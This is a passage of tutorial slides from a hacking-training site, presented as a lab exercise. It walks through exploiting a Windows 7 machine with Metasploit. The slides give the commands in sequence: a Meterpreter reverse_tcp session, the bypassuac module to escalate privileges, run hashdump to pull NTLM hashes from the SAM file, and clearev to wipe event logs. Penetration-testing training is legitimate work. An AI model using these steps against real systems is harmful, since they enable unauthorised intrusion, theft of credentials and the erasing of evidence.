  • 9. 9 WWW.Prohackers.in  Double-click Exploit.exe. If an open file - security warning appears, click Run.  Switch back to Kali-Linux machine. Meterpreter session has been successfully opened, as shown in the following screenshot. Task 05:- Establish a session. Type session -i 1 and press Enter. (1 in session -i 1 command is the ID number of the session ). Meterpreter shell is launched, as shown in the following screenshot.  Type getuid and press Enter. This displays the current user ID, as shown in the screenshot
  • 10. 10 WWW.Prohackers.in  You will observe that the Meterpreter server is running with normal user privileges.  You will not be able to execute the commands (such as run hashdump, which dumps the user account hashes located in the SAM file; clearev, which clear the event logs remotely; etc.) that require administrative. Root privileges.  Let us check this by using run hashdump command.  The command fails to dump the hashes from the SAM file located in the windows 7 and returns an error stating that access is denied.  From this, it is evident that Meterpreter server requires admin privileges to perform such actions.  Now, we shall try to escalate the privileges by issuing getsystem command that attempts to elevate the user privileges.  The command issued is: o Getsystem -t 1: which use the Service - Named Pipe Impersonation (In Memory/Admin) Technique?  The command fails to escalate privileges and return an error stating Access is Denied.
  • 11. 11 WWW.Prohackers.in  From the above result, it is evident that the security configuration of the Windows 7 machine is blocking you from gaining unrestricted access to it.  Now, we shall try to bypass the user account control setting that is blocking you. You will now: o Background the current meterpreter session, o Use the bypassuac exploit for windows, o Set meterpreter/reverse_tcp payload, o Configure the exploit and payload, o Exploit the machine using the above configuration payload in attempt to elevate the privileges.  Type background and press Enter. This command background the current meterpreter session  Type use exploit/windows/local/bypassuac and press Enter. Here you need to configure the exploit. To know what all options you need to configuration in the exploit, type show options and press Enter  The Module options section appears, displaying the requirements for the exploit. You will observe that:
  • 12. 12 WWW.Prohackers.in o The SESSION option is required, but the current setting is empty. Here, you need to set the current meterpreter session that is obtained during the exploiting (i.e session 1). o The TECHNIQUE option is required, but the current setting is already set to EXE, so ignore this option.  Type set SESSION 1 (1 is the current meterpreter session which was backgrounded in this lab) and press Enter  Now, that we have configured the exploit, our next step will be to set a payload and configure it.  Type set payload windows/meterpreter/reverse_tcp and press Enter, to set the meterpreter/reverse_tcp payload.  The next step is to configure this payload. To know all the options you need to configure in the exploit, type show options and press Enter.
  • 13. 13 WWW.Prohackers.in  The Module options section appears, displaying the requirements for the exploit. You will observe that: o The SESSION option is required, but the current setting is empty. Here, you need to set the current meterpreter session that is obtained during the exploiting (i.e session 1). o The TECHNIQUE option is required, but the current setting is already set to EXE, so ignore this option.  Type set SESSION 1 (1 is the current meterpreter session which was backgrounded in this lab) and press Enter
  • 14. 14 WWW.Prohackers.in  Now, that we have configured the exploit, our next step will be to set a payload and configure it.  Type set payload windows/meterpreter/reverse_tcp and press Enter, to set the meterpreter/reverse_tcp payload.  The next step is to configure this payload. To know all the options you need to configure in the exploit, type show options and press Enter
  • 15. 15 WWW.Prohackers.in  The Module options section appears, displaying the previously configured exploit. Here you can observe that the session value is set.  The Payload options sections displays the requirement for the payload. Observe that: o LHOST option is required, but the current setting is empty, here you need to set the IP address of the local host i.e. Kali-Linux ip address. o EXITFUNC option is required but the current setting is already set to precess, so ignore this options. o LPORT option is required, but the current setting is already set to port number 4444, so ignore this option.  To set the LHOST option, type set LHOST 192.168.121.129 and press Enter.  You have successfully configured the exploit and payload. Type exploit and press Enter. This begins to exploit the UAC settings in windows 7 machine.  As you can see, BypassUAC exploit has successfully bypass the UAC settings on windows 7 machine; you have now successfully attained a meterpreter session.  Now, let us check the current User ID statue of meterpreter. You will observe that Meterpreter server is still running with normal user privileges. Type getuid and press Enter.
  • 16. 16 WWW.Prohackers.in  Let us check if we have successfully attained the SYSTEM/admin privileges by issuing a meterpreter command that require these privileges in order to be executed.  For instance, we shall try to obtain hashes located in SAM file of windows 7. Type the command run hashdump and press Enter, this time meterpreter successfully extracted the NTLM hashes and display them as shown in the following screenshot.  Thus you have successfully escalate the privileges by exploiting windows 7 machine’s vulnerability.  You can now execute commands (clearev, which clears the event logs remotely, etc) that require administrative/ root privileges
  • 17. 17 WWW.Prohackers.in Tool/Utility Information Collected/Objectives Achieved Metasploit Framework Console (msfconsole) IP Address Range/target:- Windows 7 machine Scan Result:-  Hacking windows 7.  Escalating the privileges.  Extracting the NTLM Hashes from the SAM file.  Clear the event log. Thanks for reading this presentation Please give us your feedback at [email protected] Your feedback is most valuable for us for improving the presentation You can also suggest the topic on which you want the presentation Website: www.prohackers.in FB page: www.facebook.com/theprohackers2017 Join FB Group: www.facebook.com/groups/group.prohackers/ Watch us on: www.youtube.com//channel/UCcyYSi1sh1SmyMlGfB-Vq6A ***Thanks***